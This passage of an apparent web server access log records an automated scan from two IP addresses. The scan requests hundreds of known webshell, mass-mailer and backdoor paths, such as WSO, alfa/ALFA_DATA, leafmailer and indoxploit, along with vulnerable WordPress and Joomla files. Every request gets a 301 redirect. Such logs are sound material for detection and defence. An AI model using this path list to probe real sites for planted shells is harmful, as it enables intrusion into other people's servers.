- - [18/Apr/2025:17:56:42 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:42 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:42 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:43 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:44 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:44 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:44 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:45 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:45 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:46 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:46 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:46 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:47 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:48 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:48 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:49 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:49 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:50 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:50 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:51 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:51 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:52 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:52 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:53 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:53 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:54 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:55 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:55 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:57 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:58 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:59 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:01 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:02 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:03 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:04 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:06 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:07 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:08 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:09 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:10 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:11 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:12 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:13 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:15 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:18 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:20 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:21 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:23 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:25 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:26 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:28 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:28 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:29 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:31 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:32 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:33 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:34 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:34 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:35 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:36 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:36 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:37 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:38 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:38 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:39 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:40 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:42 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:43 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:45 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:45 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:46 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:47 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:49 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:52 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:55 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:56 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:58 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:57:59 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:00 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:01 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:02 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:04 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:05 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:06 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:07 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:09 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:11 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:12 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:14 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:15 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:16 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:16 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:17 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:18 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:19 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:19 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:20 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:21 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:21 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:23 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:24 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:24 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:25 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:25 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:26 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:27 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:29 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:30 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:32 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:33 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:34 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:35 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:36 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:37 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:38 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:39 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:41 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:43 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:43 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:45 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:48 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:49 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:51 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:52 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:53 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:54 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:56 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:56 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:57 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:58 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:58 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:58:59 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:00 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:01 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:02 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:03 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:04 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:06 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:07 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:08 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:09 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:10 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:10 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:11 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:12 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:12 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:13 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:14 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:15 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:15 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:16 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:16 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:17 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:18 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:18 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:19 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:19 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:20 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:20 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:21 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:21 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:22 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:23 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:24 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:24 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:24 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:25 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:25 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:26 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:26 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:27 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:27 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:28 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:28 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:29 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:29 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:30 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:31 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:31 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:33 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:34 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:35 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:35 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:36 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:37 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:38 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:39 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:39 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:40 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:41 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:42 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:43 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:43 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:44 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:44 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:45 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:45 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:46 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:46 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:47 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:47 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:48 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:48 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:49 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:50 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:50 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:51 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:52 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:53 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:53 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:55 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:55 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:56 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:56 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:58 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:59:59 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:00 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:01 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:01 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:03 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:06 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:07 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:08 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:13 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:15 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:17 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:19 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:19 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:23 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:23 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:26 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:26 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 